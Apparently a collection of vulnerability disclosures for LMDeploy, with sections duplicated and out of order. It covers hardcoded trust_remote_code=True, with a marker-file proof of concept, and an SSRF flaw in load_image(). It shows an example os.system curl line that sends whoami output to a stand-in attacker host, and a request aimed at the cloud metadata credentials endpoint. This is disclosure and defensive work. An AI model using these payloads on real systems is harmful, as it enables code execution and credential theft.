  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

3. Server fetches URL without validation
4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

• Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
• Internal Service Access: Reach services not exposed to internet
• Information Disclosure: Port scan internal networks
• Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

3. Server fetches URL without validation
4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

• Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
• Internal Service Access: Reach services not exposed to internet
• Information Disclosure: Port scan internal networks
• Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

